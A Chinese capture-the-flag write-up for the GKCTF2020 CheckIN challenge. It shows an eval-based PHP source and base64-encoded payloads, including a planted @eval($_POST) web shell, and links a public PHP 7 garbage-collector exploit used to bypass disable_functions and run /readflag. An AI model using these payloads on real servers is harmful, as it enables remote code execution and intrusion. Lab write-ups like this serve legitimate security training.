php7.0-7.3的bypass disable_function一把梭

php7.0-7.3的bypass disable_function一把梭

前言

  • 环境:buuctf中[GKCTF2020]CheckIN
  • 知识点:linux权限,bypass disable_function
  • 参考:wp1

做题

源码

<title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

传进去Ginkgo 参数会被base64解码,然后执行eval函数

system('ls');=>?Ginkgo=c3lzdGVtKCdscycpOw== ?!!没有回显结果,是不是禁用了system函数呢

phpinfo();=>?Ginkgo=cGhwaW5mbygpOw== ,成功返回phpinfo

查看disable_function

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl,

可以看到禁用了system,exec等函数,所以无法执行system

print_r(scandir('/'));=>?Ginkgo=cHJpbnRfcihzY2FuZGlyKCcvJykpOw== ,回显有flag,和readflag两个有关flag的

readfile('/flag')=>?Ginkgo=cmVhZGZpbGUoJy9mbGFnJyk7 ,?!!怎么没有回显,奇怪

试试 readfile('/readflag')=>?Ginkgo=cmVhZGZpbGUoJy9yZWFkZmxhZycpOw== ,有回显文件,但是是乱码

用蚁剑连接看看

@eval($_POST[hacker]); =>?Ginkgo=QGV2YWwoJF9QT1NUW2hhY2tlcl0pOw== 密码hacker连上蚁剑

linux权限

3位数分别对应user,group,other

rwx表示7 ,对应2进制111

flag的权限是0700 ,身为other的我们不能读写执行,所以打开的flag文件为空,那要怎样才能读取flag文件了

发现readflag的权限为6755


所以other即我们的权限是只许读和执行,看来是要通过执行readflag这个命令,来读取flag文件,但是所有有关linux命令执行的函数都被禁用了,如:system,exec等函数,那我们要怎样执行这个命令呢?

通过phpinfo,我们知道php版本为7.3.18,这个版本有一个漏洞
php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令
影响范围是linux,php7.0-7.3
给出了exp
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

pwn里的内容就是我们要执行的命令,也可以是ls等linux命令


我们可以在tmp这个文件里上传文件exploit.php

然后在index.php里

include('/tmp/exploit.php'); =>?Ginkgo=aW5jbHVkZSgnL3RtcC9leHBsb2l0LnBocCcpOw==

得到flag

原文地址:https://www.cnblogs.com/NineOne/p/14100144.html